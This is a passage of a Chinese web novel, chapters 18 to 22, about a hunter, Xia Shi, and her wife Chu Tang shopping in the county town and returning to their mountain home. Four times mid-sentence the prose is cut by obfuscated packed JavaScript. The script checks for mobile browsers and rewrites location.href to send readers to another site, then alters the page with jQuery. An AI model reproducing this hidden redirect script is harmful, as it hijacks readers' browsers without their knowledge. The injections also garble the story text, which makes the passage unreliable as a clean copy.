摊主头也没抬的答应了一声,然后才后知后觉发现这声音有点耳熟。他回过头一看,这才发现来的果然是夏时,但这次她却不是一个人来的。当下又惊又喜:“阿时你可许久没来了。这还是你头一次带人过来,这姑娘是?” 夏时一手按着楚棠在桌旁落坐,一边扬眉带笑,在外人面前少见的开朗:“这是楚棠,我媳妇。” 摊主一愣,旋即笑道:“好好好,今天馄饨管够,吴叔请你们。” 夏时没说不让,笑着应好,等摊主继续去忙才扭头冲楚棠解释道:“吴叔从前也在石田村待过,年轻时我爹救过他,所以他们关系一直还不错。我爹带我进城,就总来这里吃馄饨。”后来她爹没了,吴叔也拿她当后辈看,关系比和石田村那些人亲近不少。 楚棠点点头表示了解,夏时又让她在这里等着,不一会儿又拿着两个油纸包回来了。都是附近卖的吃食,给楚棠尝尝鲜,尝完剩下的她能包圆。 吴叔这时也将馄饨端来了,见状也没说什么,只笑眯眯招呼两人趁热吃。 馄饨的鲜香上桌就闻到了,在夏时的催促下,楚棠拿起汤勺刚舀起一个准备吹凉尝尝,身后就传来了一道熟悉的嗓音:“咦,小夏,小楚,你们也进城来了啊?” 两人循声回头一看,却是田二嫂正带着几个眼熟的妇人往这边来。 18. 第 18 章 夏时和楚棠都没想到会在县城里遇见熟人,不过遇见了也无妨,大家凑在一起吃碗馄饨的功夫,两人还顺便听了几句八卦。 当然,也不是只听,也有人问她们。 田二嫂等煮馄饨的功夫就问两人:“往日可不见小夏往山下跑,今天你俩一起来城里,可是有什么事?”说着扫一眼两人脚边,空荡荡的,也不像是进城来买东西的。 这倒也没什么不能说的,夏时便回道:“这不是下雨转凉了吗,家里的秋衣不够,冬衣更没准备,我就想带阿棠来城里布庄买两件新衣。顺便也和她在城里逛逛,我一个人也便罢了,总不能让她和我一起成天待在山里。” 山中清苦,若是从前楚棠定然觉得日子难熬,可现在与夏时一起她倒没觉得有什么不好。 不过田二嫂显然不这样认为,闻言点点头道:“就是,你们年纪轻轻成天待在山里多无趣,就算不进县城,到村里来走动走动,多见见人也是好的。”说完话锋又是一转:“不过小夏,你是不是忘了,如今你也是有媳妇的人了,去布庄买什么成衣?买匹布自己回去裁剪才是正道。” 田二一家是夏时在石田村为数不多的相熟人家,她从前过着怎样的日子,田二嫂再清楚不过。那时只有夏时一个人打猎赚钱养自己,自然也就顾不上制衣这样的小事,可现在不一样了,两个人过日子哪还能像从前那样抛费,当然是买布回去自己做衣裳才更划算。 年长者的经验之谈,楚棠和夏时都不好开口反驳什么。夏时还悄悄看了楚棠好几眼,虽然什么都没说,但那双亮晶晶的眼里却写满了期待。 楚棠看见了,只得微微颔首,制衣这事她当真学过些——楚家落难前她也到婚龄了,一旦定下婚事,给夫君婆母制衣做鞋都是应做之事,她多少也学了些。只不过她学了这些还没来得及派上用场,楚家就败落了,自己也流落至此。 当然,从前学来的制衣本事用到现在,也算是恰如其分。 楚棠想到这里,目光也不自觉往夏时身上瞥了两眼,目光一路从她俊俏的侧脸一路扫到那劲瘦的腰肢。也不知是不是她目光太明显,将人看得下意识挺了挺背。 这个小动作被楚棠发现了,她耳根一烫,飞快挪开了视线,只敢看碗里的馄饨。 夏时有点想笑,又怕真笑了惹对方生气,猫一样脾气的媳妇可并不好哄。于是她也收回目光,乖乖吃起了馄饨,顺便把桌上的油纸包往楚棠那边推了推。 田二嫂也不是没眼力见的人,瞧见小两口这般模样,便只笑笑不再搭话。 一碗馄饨吃完,石田村的几个妇人还没停嘴,夏时和楚棠自然是不会等的。和唯一相熟的田二嫂打了个招呼,两人便打算先走一步了。 田二嫂正听八卦听得认真,闻言头也没抬,挥挥手与二人告别。等人都走出几步了,她才想起什么似得,忽然回头喊了一句:“小夏,今日城西的陈家布庄打折,一匹布便宜二十文呢,你要买的多就去那里看看,划算。” 夏时回过头冲她摆摆手,回道:“知道了,多谢二嫂。” 转过头,她又对楚棠说:“陈家布庄的布便宜结实,村里人都喜欢。不过我觉得那布有点太粗糙了,你穿的话可能会磨破皮肤。还是城东柳家布庄的布更好些,他家还有柔软的细麻布,那个就软和得多。买回去洗一洗再穿,就没什么问题了。” 楚棠静静听她说完,只这短短几句话,也能听出对方的用心。她当然不会反驳这好意,只放松了眉眼笑道:“田二嫂不如你熟悉县城,自是听你的。” 夏时闻言就很满意了,似乎连下巴都比之前抬得更高了一些——她不是委屈自己的人,更不会委屈楚棠。可如果当初她娶的是村里的姑娘,对方恐怕就该劝她俭省了,而不是如此轻易就接受她的好意,并且领受这份好意。 当然,她也渐渐看出楚棠出身不凡,自己眼里还不错的细麻布对对方来说可能依旧粗陋。但她不打算点破这一点,也不会因此生出亏欠,一切顺其自然最好。 *************************************************** 城东的柳家布庄离得有点远,楚棠和夏时两人也没着急,一路闲逛着过去。 小小的县城自是不比京师繁华,但麻雀虽小五脏俱全,还别有一番小城的热闹。尤其对于楚棠曾经的出身来说,她大概从来没有这样逛过街,也没有在街边的小摊上买过东西。 夏时举着两支糖画回来的时候,楚棠正站在个小摊子前看人编蚱蜢——摆摊的人卖的其实是草鞋,但有相熟的顽童央他编个蚱蜢来玩,摊主顺手扯了两根草也就编了起来。他手巧得很,手指翻飞间草蚱蜢就有了雏形,不仅惹得身旁小孩儿连连惊呼,就连楚棠这个大人也看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15272185|165942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得入神。 以至于面前忽然多出支糖画时,楚棠还小小的惊了一下,旋即就听夏时凑过来问她:“喜欢这样的小玩意儿?可惜我不会编,倒是可以花钱请摊主再给你编一个。” 楚棠闻言脸一下就红了,刚央着摊主编蚱蜢的是个五六岁的小孩儿,她这样的大人哪里好意思要这个?当下横了夏时一眼,口是心非道:“胡说,我要这个做什么?不过是等你等得无聊,又见摊主手巧,所以在这里看了一会儿罢了。” 夏时耸耸肩,假装信了这话,转头又问:“真不想要?” 楚棠嘴硬,转身就走:“当然是真的。” 她走了,草蚱蜢也编好了,小孩儿高高兴兴接了过去。结果手里的玩具还没捂热乎,面前就多了支糖画,紧接着高挑的女郎俯身问他:“小孩儿,糖画换你的草蚱蜢,换不换?” 小孩儿一秒没耽搁,立刻就把草蚱蜢给她了——开玩笑,草编的蚱蜢又不值钱,顶多撒撒娇就能再要一个,可糖画不仅是好看,吃到嘴里也是真的甜呢。 夏时换到了老婆喜欢的草蚱蜢,小孩儿也吃到了糖,交易双方都觉得自己不亏。 只是等夏时拿着草蚱蜢三两步追上楚棠献宝时,后者是真没好气的瞪了她一眼:“我要这小孩儿的玩意有什么用?真就是看那人手巧,多看了两眼罢了。” 说归说,到底还是接了过去,指尖在蚱蜢的触须上拨弄两下。 夏时见她收下便也满意,才不管她嘴上怎么说的,紧接着又递了糖画过去:“我本来买了两支的,可惜拿了一支来换了蚱蜢……” 楚棠扫她一眼,把糖画推了回去:“我又不爱吃糖,你喜欢的话,这支你吃就好。” 夏时的目的才不是这个,被推开又往跟前凑了凑:“谁舍不得那点糖了,我是说就剩这一支了,你分我一点吃,怎么样?” 楚棠隐约察觉到了她的目的,可还没来得及开口,那黄澄澄的糖画一角就已经抵在她唇边了。她抬眼看看夏时,后者双目灼灼瞧她,楚棠不得已只好启唇咬下一小口:“这画的是什么,我都没看清呢,你这么着急做什么?” 夏时闻言便举起糖画让她看,原来是画了只蝴蝶,现在蝴蝶翅膀被她咬掉了一点点。 看完之后夏时也没客气,就着那小小的缺口,自己咬了一口。 嗯,挺甜的,老婆脸红的样子也很漂亮。 19. 第 19 章 两个人在县城里走走逛逛,小半个时辰之后,终于到了城东的柳家布庄。 布庄的门头不算大,招牌看上去有些老旧,一眼就能看出这布庄已经经营许多年了。布庄的生意也还不错,客人来来往往,伙计笑脸迎人,气氛很是不错。 夏时牵着楚棠走进了布庄,伙计一看二人牵着的手,心里对她俩的关心便有了些估量。他目光一转,就落在了楚棠身上:“不知二位女郎想要买些什么?” 伙计这次似乎看走了眼,他以为做主的楚棠却偏过头,看向了夏时。 夏时先说出了之前的打算:“你们店里的细麻布先拿出来我看看,或者还有什么别的布料比较柔软的,也可以拿来给我看看。” 伙计一听就知道,这女郎是心疼自家媳妇,想让她穿得舒服些——他们丰乐县只是个小地方,并不富裕,细麻布虽好却不够结实,比起粗麻布还要贵上不少。这也就罢了,再问更柔软舒适的布料,价格自然也要更高,同时也更不经穿。 不过对于布庄的人来说,自然是乐意见到这种顾客的。伙计脸上笑容都更真诚了两分,转过头取了布样的册子就拿给两人看:“女郎请看,这就是我家的细麻布。还有这种,是今年才从南边传过来的新布,是用棉织的,比起麻布要软和许多,就是量不太多。” 量再少,也不是夏时一个人就能买空的,伙计这话就是提醒她价贵。 夏时听出来了,倒也没有十分在意——这伙计不是胡乱宰客的人,看着她们穿着打扮也没拿绸缎来推销,那么这棉布再贵也不会比绸缎贵,她总不至于买不起。 柳家布庄的经营很是用心,布样册子就是裁剪的碎布装订而成,如此既不需要搬出一匹匹布来给客人查看,还能让客人上手摸摸布料材质。 夏时便摸了摸伙计推荐的两种布料,手感差距还是挺大的,摸过棉布之后她就不打算要那细麻布了。同时扭头冲楚棠道:“你也看看,这布给你做衣裳好不好?” 楚棠自是见过棉布的,上手摸一摸,这柳家布庄的棉布也远不比她从前见过的好。不过今时不同往日,她反倒要劝夏时两句:“之前分别时,田二嫂还提醒你去城西买布,你转头来城东便罢了,若还要买更贵的棉布回去,让人看见了恐怕不好。” 人心难测,田二嫂或许不是斤斤计较的人,但衣裳做了穿在外面,少不得被人看见嫉妒。前不久才有个刘生觉得打猎容易往山里钻,万一再刺激得人上了山,岂不还是她们的麻烦? 夏时一听就明白楚棠的意思,想想轻“啧”一声,觉得没意思极了。 楚棠见状捏捏她的手,算作安慰,刚要让伙计搬匹细麻布就好,就见夏时抬头冲伙计说道:“一匹棉布,一匹细麻布。”说完又扭头冲她眨眨眼:“棉布做中衣,穿在里面好了,贴身的衣物柔软些总是好的。等过些天我再上山猎几张漂亮皮子,就让她们羡慕去吧。” 夏时从前猎的皮子不少,但她就一个人还不会制衣,每次猎到就直接拿来城里换了银子。今年她不打算这么做了,皮毛漂亮又保暖,合该给她老婆做冬衣的。 楚棠见她这般模样,也不由弯了弯唇角,由她去了。 伙计动作倒也麻利,问过颜色之后,很快就从身后的架子上搬了两匹布出来。夏时一边看着一边询问价钱,目光不经意间往那布架子上一扫,蓦地顿了顿。 布架上正好放着匹红布,颜色纯正又漂亮,应是办喜事用的…… *********************************************************** 从柳家布庄出来后,夏时就有些心不在焉的,也不知在想些什么。 楚棠看了她好几眼,她也没有察觉,最后不得不开口问道:“布买好了,咱们这就回去了吗?” 夏时听到她的声音才回神,下意识抬头看了看天色,便说道:“还有时间,咱们要不要再在县城里逛逛?或者你有什么想吃的没,咱们也可以买点回去。” 说实话,楚棠口腹之欲并不重,猎户家的粗茶淡饭她也吃得。但夏时问了,她便没打算拒绝好意:“你觉得城里有什么好吃的,便买些回去吧,我都听你的。” 夏时想了想,便有了目标:“街尾那边有家卖烤鸭的,滋味儿不错,咱们买只回去吃吧。” 楚棠自然没意见,两人于是转道往街尾而去。夏时抱着两匹布走了一段,总觉得缺了些什么,到底牵了楚棠的手才觉安心。 只是走着走着,身边的人脚步忽的慢了下来。 夏时又往前走了两步才发觉,回过头问了句:“怎么了?” 楚棠被这一问问得回神,收回目光摇摇头,迈步跟上:“没什么,走吧。” 可夏时早将她反应尽收眼底,顺着她之前目光看去,就见路边正是一家书铺。只是她大字不识几个,既认不出这书铺上方的招牌,也没进去过,倒不知这家店叫什么。 不过她知不知道也不重要,夏时看到书铺的那一刻也想起来了,她家媳妇是认字的,或许从前学问还不错。如今看到这书铺,大抵是想看书了吧——之前说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15283813|165942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去买烤鸭的时候,楚棠都是一副兴致缺缺的模样,看到书铺却迈不动脚了,可见是喜欢的。 夏时不曾读过书,也不爱书本,可她有个好处就是不会否定别人。既然楚棠喜欢书更胜过烤鸭,她自然也愿意满足,于是将人拉住问道:“你想看书?那咱们就去买两本。” 书本自来不便宜,一本书的价格可不是一只烤鸭能比的。 楚棠摇摇头,并不打算让夏时浪费这个钱:“不必,我只是想起一些事,并不打算买书。” 夏时却以为她是口是心非,拉着她就往书铺走:“那也去看看,万一遇见你喜欢的呢?山里清苦,我进山时家中只有你一人,无聊时能看看书也是好的。”说完想起什么,又道:“还有你说要教我识字的,咱们还需买些笔墨,我都不懂,得你看着来。” 楚棠拗不过她,还是被拉进了书铺。 柜台后面只有个文人打扮的掌柜守着,见是两个村人打扮的女郎进门也没说什么,但也没搭理她们,低下头又去翻他自己的书了。 夏时拉人进门时很坚决,可等真进了书铺她却又拘谨了起来,目光扫来扫去不知该怎么才好。 楚棠就从容多了,她走进书铺目光一扫,很快就看到了放在显眼位置的一小叠纸。那是书铺费心誊抄的邸报,卖给致力于科考的读书人看的。只这邸报从京城传到丰乐县这样的小地方,时效性是不指望了,但多少能让人知道外界,尤其是京中局势。 目光落在那邸报上,楚棠心头微动,袖中的手指攥紧又松开,到底还是没忍住上前翻开了。正看书的掌柜立刻警觉的看了过来,见是个女郎在翻看,犹豫一下还是没有阻止。 当然,楚棠也很有分寸,她知道这东西就是卖个信息价值,客人看完了就不会买,所以书铺向来是不许人翻看的。掌柜看她是个女郎才没阻止,但也不会让她细细看完,因此楚棠翻得很快,像是信手翻阅一样,却是一目十行扫视着邸报上的内容。 终于,她手一顿,而后缓缓合上了这份邸报。 夏时站在一旁并未打搅过她,见她停下动作才问:“怎么,你想买这个?” 楚棠摇头,眸底的晦色顷刻敛去,而后径自走向掌柜,开口买了笔墨外加一刀纸——这读书人的东西是真贵,都没买书呢,这点东西就比夏时那两匹布还贵了。 夏时有点肉痛,但掏钱之前还是问了句:“光买纸,你不买书吗,买两本回去看吧。” 楚棠抱着纸走出了书铺,这才指指自己的脑袋:“不用。这书铺里的书,有大半都在这里了。” 20. 第 20 章 买笔墨虽然花了不少钱,但离开书铺后,两人还是去买了烤鸭。转道出城时顺路又买了些包子和糕点,直将两手都提得满满当当,也算是不虚此行了。 当然,走了大半天,累还是累的。 眼看着时间差不多,走到城门前夏时便扭头对楚棠道:“买了这么多东西,咱们还是坐牛车回去吧。就是今天时间有些晚了,坐车的人恐怕不少,得挤一挤了。” 楚棠自然没什么意见,事实上她体力远不如夏时,这会儿早就累了。 然而等两人真正出了城,瞧见那照旧在城门口等客的牛车时,楚棠才明白夏时说的挤一挤是怎样的挤法——简陋的牛车上已经坐了六七个人,大包小包的行李更是摆放得满满当当,楚棠看一眼就觉得这车上再挤不下任何人,偏车夫还守着牛车在等,显然是觉得拉的人还不够。 见到这般情形,楚棠脚步都不由一顿,忽然间觉得自己歇一歇也不是不能走回去。 可这时已经有人看到她们了,车夫瞧见二人眼睛一亮不说,牛车上还传来一道熟悉的嗓音:“小夏,小楚,你们来的正好,这车上还有位置,挤一挤咱们一起回去。” 楚棠又看见了田二嫂那热情洋溢的脸,可这次她一点上前的想法都没有。只是还不等她拒绝,车夫已经熟门熟路的招呼起众人来:“大家再挤一挤,都挤一挤啊,正好加上这两人咱们车就满了,立刻就能走了啊。车上位置不大,大家都把包袱往怀里抱一抱啊。” 显然,这些乘车的人都习惯了牛车的拥挤,车夫这一招呼也没人抱怨,反而都听话的开始腾位置。不一会儿还真让她们腾出了一小片地方,挤一挤或许真能挤上去两个人。 但楚棠一点都不想和这些人挤,她悄悄拽住了夏时的衣角,虽没说些什么却显而易见的排斥。 夏时看看牛车又看看楚棠,犹豫一下还冲车夫摇了摇头,正要拒绝对方的招呼,牛车上早将二人动作看在眼里的田二嫂却跳了下来。她推着两人就往前走:“别折腾了,也不看看现在都什么时候了,你们走回村天都该黑了,还要摸黑爬山吗?走走走,挤一下没什么大不了的。” 楚棠皱起了眉,显然不太适应田二嫂的过分热情,可她看看天色也不得不承认对方说得对。迟疑间就被推上了牛车,很快和牛车上的人挤成了一团。 车夫见状一点不耽搁,立刻牵了牛就走,上了车就得付钱! 牛车一动,还没坐稳的楚棠身子就是一晃。所幸她左右一边坐着夏时,另一边坐着的也是个妇人,只是这一晃险些撞进那陌生妇人的怀里。妇人被撞了自然不乐意,扭头就瞪了她一眼,还曲起胳膊往楚棠身上撞了一下:“多大的人了,连坐都坐不稳!” 楚棠还是头一次被人如此对待,被撞的生疼不说,一张俏脸更是涨得通红。可同时她也很清楚,与这般妇人计较是没有异议的,或许真吵起来连吵架也吵不过对方。 她心里正有些憋气,腰上就突然环过来一条手臂,而后不等楚棠反应,就觉腰间力道一带,紧接着便落入了一个熟悉的柔软怀抱中。是夏时将她揽进了怀里,在她耳边低声道:“别与这些人计较,白白生气罢了。你要是觉得挤,可以坐我腿上。” 楚棠听罢目光往旁边一转,脸更红了,怕人听到夏时这番话。她当然也不可能坐到夏时腿上去,那太亲昵了,私底下她尚且羞赧,又怎么可能大庭广众这般做? 她装作没听到这话,身体却诚实的靠在夏时怀里没动,再加上腰间那条手臂,牛车再怎么晃她也没往别人身上倒过。而等牛车行过一阵,她便也熟悉了牛车的节奏,渐渐坐得稳了。有了全新体验的同时,也有心思打量起周围来了。 这一车拉了八九个人,除了一个书生打扮的挤在角落,其余全都是妇人。早些时候在馄饨摊碰上的几个石田村的妇人只有两个和田二嫂一起,其余人可能早就走路回去了。 察觉到楚棠目光扫过,田二嫂很快又起了话头:“小楚,你们布买好了?回头小夏进山打猎,你一个人在家做衣裳觉得无聊,可以来村里,大家一起做活也热闹。”要是楚棠做衣裳的手艺不行,她和村里的妇人还能指点指点,她可没忘楚棠向她请教厨艺的事。 楚棠闻言心中也是一动,倒不图对方指教,只是和村里多些联系也是好的。 ************************************************************** 牛车晃晃悠悠走得不算很快,但也比人的脚程快上一些,抵达石田村时天色还不算太晚。 几个石 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15289198|165942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 田村的人给了铜板跳下牛车,原本满满当当的牛车顿时空了一截,很快便在车夫的吆喝声中走远了。而下车的几个妇人拎着大包小裹,结伴往村里走。 楚棠大概是所有人中最轻松的,她手上只抱了笔墨和纸,其余有些重量的东西全是夏时拿着。妇人们看看她,又看看她怀里抱着的纸,目光多少有些羡慕。 田二嫂也羡慕,一路上往楚棠手里的纸看了好几眼,这时终于没忍住问道:“小楚,你识字啊?” 楚棠不觉这有什么,便点头:“识得一些,夏时想学,我便买了些纸,准备教教她。” 这只是一桩小事,可话出口后田二嫂眼中羡慕愈甚。她似有些欲言又止,可最后到底没好意思说,只胡乱应了一声:“这样啊,那挺好的,识字方便。” 楚棠何等聪明,一眼看出对方所想,于是问道:“二嫂也想学认字?” 田二嫂闻言却立刻摇头,拎着东西的手也没闲着,跟着摆动几下:“没,我哪里能学,我脑子笨着呢,学也学不会的。”说完顿了顿,才试探道:“不过我家大丫年纪小,脑子还灵活,让她跟着你学几个字可以吗?不用你特地教,我让她自己上山去,你教小夏的时候她跟着在旁边看看就好。” 其实田二嫂家不止一个女儿,还有一个小儿子,只是比起人憎狗厌的小儿子,女儿显然乖巧许多。她怕小儿惹了楚棠不快学不到本事,就打算让女儿先学,学会了不仅能教弟弟,她说不定也能跟着学。 楚棠不了解石田村其他人家,但对田二家的情况还是知道个大概的,闻言也猜到了对方想法。但她心念转动,并不准备让小姑娘上山学字,反而说道:“二嫂之前不还邀我下山吗,与其让大丫上山学,不如等我下山的时候直接教她。如此也不拘大丫,村里其他想学字的孩子都能来学。” 田二嫂闻言大喜,可又有些担心,毕竟之前山上人可很少下山来的,别十天半月来不了一回。 想到这里,田二嫂不禁将目光投向了一旁沉默走路的夏时,楚棠见了便也转头看了过去。就见夏时闷头赶路,好似没听见她们的对话,也没给出任何回应。 田二嫂见此有些失望,却见楚棠收回目光冲她点点头,一副说定了的模样。 这就妥了,家里的事,哪能不听老婆的? 21. 第 21 章 石田村很快就到了,道别之后众人很快分开。 当然,上山的就只有楚棠和夏时两个人,而少了其他人的攀谈闲聊,周遭也一下子安静了下来。对比早前两人进城时夏时绕着她说东说西的热闹,她此刻的安静更是让楚棠觉得不习惯。 走了没两步,楚棠就受不了这氛围了,主动上前拽了拽夏时衣角:“你怎么不说话了?” 夏时抬眸,幽幽看她一眼,便又收回了目光,赌气似得继续往前走:“没什么,就是有点累。” 这话楚棠可不信。虽说今日确实奔波了大半日,她自己也很是疲累,可夏时是什么人?她是能在山里蹲个两三天狩猎,然后扛着一头鹿走去城里的人,那力气和体力可不是寻常女郎能比的。现在才哪儿到哪儿,她怎么可能因为累了不想说话? 楚棠也没打算装傻,她快走几步追了上去,侧过头望她:“你不是累,你是不高兴了。” 这人说话也太耿直了,夏时都被她这话点得没脾气。她瘪瘪嘴,想要说些什么,又觉得自己的话说出来会显得很无理取闹——她带楚棠回来其实就是想有个家,每次狩猎回来的时候,家里能有人等着她。可如果楚棠成天往山下跑,她的家不又空了吗? 除此之外,夏时心里还有一点隐忧,那就是随着相处的时日越久,她越觉得楚棠不仅是长得好看那样简单。她读书识理,谈吐不凡,哪怕夏时这样没什么见识的猎户也看得出来,她必定出身不俗。虽不知对方如何沦落到当初那般境况,但她总觉得两人之间其实是有些距离感的。 这份距离感让她面对楚棠时其实有些拘束,不然她都把人当老婆带回来了,这些日子做过最亲近的事也不会只是牵牵小手,亲亲耳朵。 夏时心里千头万绪,不知从何说起,又觉得说出来太自私,会惹人耻笑。 楚棠却将她的神色变化都看在了眼里,想了想后问道:“你为什么不高兴?是觉得我和村里人太亲近,担心我会逃走吗?” 夏时愣了一下,她还真没想到这一茬。 楚棠却不等她回答,又继续说道:“不会的,我不会毁约,即便要走也是光明正大的走。” 夏时一听这话却急了,一个健步跨到楚棠面前,拧眉看着她:“你真想过要走?”说完也不等楚棠回话,又立刻说道:“不行,我们说好的,我不许你走!” 她以为自己的语气很凶,表情也很严肃,但实际上落在楚棠眼里却只看到她脸上的焦急慌张,以及那双黝黑眸子里满满的委屈。 楚棠又不是什么铁石心肠的人,两人相处时间虽然不长,但夏时对她的用心她都看在眼里。虽然眼前的小猎户却是不如她从前相交的那些人惊才绝艳,但要论真心,从前那些人也没一个能与眼前这人比的。她说要走也只是话赶话说到了,并不是真考虑过抛下对方。 这点自然也没必要瞒着,所以楚棠面对夏时的满眼委屈时,伸手轻抚对方脸颊:“好了,我说笑的。你待我这样好,我没想过抛下你。” 夏时抿紧了唇没吱声,眼眸里多了些倔强,分明是不信。 楚棠有些头疼,她之前与田二嫂商量时,就知道分开后少不得要哄人了。却不料一句话没说对,想要把人哄回来越发不容易。既然如此…… 夏时就见面前的女郎忽的垫脚,两人存在的身高差瞬间拉平,然后那人倾身过来,温软的触感便贴在了唇角。她心跳蓦地加快,眼睛也瞪大了三分,整个人像是呆愣住了,脑袋却很自然的微微一偏,于是原本落在唇角的吻便径自擦过了唇瓣。 楚棠被这变故惊了一下,立刻向后退去。却不料夏时抱着布匹的手微微一转,那长长的布匹顿时砸在了她后腰上,力道倒是不大,堪堪将人砸得扑倒在身前人怀中罢了。 温香软玉扑了满怀,夏时眨眨眼,抿紧的唇角终于忍不住偷偷上扬。 **************************************************** 楚棠觉得夏时是故意的,故意拿布撞她,害得她那样狼狈。 可这话她不好意思问,毕竟主动亲人的是她,与之相比投怀送抱反倒不算什么了——两人夜里都同床共枕了,在夏时怀中醒来也不是一回两回了,抱一抱真不算什么。 但不得不说,楚棠的主动亲吻还是将两人间的距离拉近了很多。因为她这番举动,夏时心中的隐忧都少了大半,回山的一路上脚步都是轻快的。后来见楚棠走累了,更是二话不说将人背上,还能一路跑回山去,体力当真不是一般的好。 自然,舍出脸皮哄了人,目的就要达到。 楚棠一手勾着夏时脖颈,一边凑到她耳边问:“怎样,我下山和田二嫂来往的事,你答应了吗?放心,我也不去别的地方,就在田二嫂家待着。” 说实话夏时还是不太想答应,她刚带了老婆回来就很粘人,现在老婆亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15295554|165942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了她,她私心里更想粘着对方了。可她是猎户,所有生计都在狩猎上,如今秋日正是猎物肥美皮毛鲜亮的时候,她该抓紧时间多去后山的,哪能成天待在家里陪老婆? 可她不在家,还不许楚棠和旁人来往的话,也确实自私了些。所以被哄过的夏时支吾半晌,终于妥协了:“那,我不在家的时候,你才许去。”说完又不放心:“不,不行,你自己下山我不放心,得我送你下山才行,晚点我再去接你。” 楚棠听得有些哭笑不得,可又免不了有些心软。她环着夏时的手在她颊边蹭蹭,见正好到家了,就从她背上跳了下来:“行,都听你的。” 夏时摸摸刚被楚棠蹭过的脸颊,轻易就被哄好了,过了会儿又追上已经进门的楚棠:“那你下山的事能不能过段时间再说?说好的教我识字,东西都买回来了,你可不能往山下跑。” 楚棠已经把手里的东西放进了屋里,折身回来又去接夏时手里的,闻言略一扬眉:“好啊。正好买了不少吃食回来也不必做饭了,趁着天还没黑,我先教你几个字怎么样?” 夏时没料到这教学说来就来,但还是点了头:“好啊。” 两人进屋将东西放好,夏时将笔墨和纸张都捡了出来,却不知道这些东西该怎么用。还是楚棠要她去灶房里拿了只碗过来,然后将碗倒扣着用碗底磨了墨——一块砚台也不便宜,再加上楚棠见惯了好东西,也看不上那书铺里的便宜砚台,索性就省下这笔钱不买了。 碗底添了水,小小的墨条一圈圈研磨,不一会儿功夫便成了黝黑的墨汁。楚棠又铺纸、开笔、舔墨,不一会儿功夫便在微黄的纸张上落下四个大字。 夏时在旁看着,只觉得老婆的字好看,等楚棠写完她便高兴道:“我知道,这两个字是‘夏时’,是我的名字。”她说着点点左侧两个字,然后又点点右边两个字:“所以这是‘楚棠’吗?你的名字?” 楚棠只知夏时不识字,才特地写了两人的名字来教,却不料夏时竟是认得自己名字的。她落笔时没有想太多,但此刻被夏时这样大咧咧的说出来,再看看纸上两人并排写在一起的名字,心里莫名就生出了许多羞赧来,连这张纸也有些不敢直视。 别扭了会儿,她才将手里的笔塞到夏时手上:“天不早了,今日就先学这几个字吧。你跟着描摹几遍,把这些字先记下,等学会了我再教你其他的。” 说完人就跑了,还找了个借口去准备晚饭。 22. 第 22 章 两人虽然说好了楚棠下山走动的事,但夏时心里还是有些舍不得。 她明知自己该趁着天气还不太冷进山打猎,却又不愿意抛下感情稍有进展的老婆离家。于是思来想去找了个借口,第二天就背上背篓带着老婆一起进山采菌子去了。 “昨天才下了一场雨,山里的菌子应该长起来了,之前就说好带你去采的,如今正是时候。可不是我舍不得你下山,才选了今天。”夏时一边前者楚棠往山中走,一边如是说道。如果没有加上最后那句,楚棠或许会相信她的话。 当然,有点小心思却笨笨的不会隐藏,小猎户这单纯模样还是挺招人喜欢的。 楚棠就忍着笑跟她进了山。说来上次进山夏时也说是带她去摘果子,结果爬树摘柿子的都是夏时,她就光站在树下看着了,参与感实在不高。 而相比起摘果子,采菌子这事对于楚棠来说还要更加新鲜,也引得她生出了几分好奇与期待。 两人往山中走了一阵,楚棠就发现这次走的路和上次不是一条。当然,深山里本来也没有路,这些小径恐怕都是夏时踩出来的。 “这次采菌子和上回摘柿子不是一个地方吗?”楚棠发现了就问,也正好给两人找个话题。 说到这个,夏时果然来了兴致,先是指了个方向说道:“那几棵柿子树在那边,现在应该已经被鸟啄完了,要摘柿子得等到明年了。”说完手臂一转又换了个方向:“这次咱们走这边。前面有几根断木,前几年就开始长蘑菇,季节合适一下雨就有,最近都可以来摘些回去晒干,够吃挺久的。” 说完了蘑菇的事,夏时话题也没止住,又和楚棠说起了这山中许多野生的宝藏。比如山里还有陆续成熟的野果,再往前走一阵有两棵野生的板栗树,这个季节也正好成熟了。 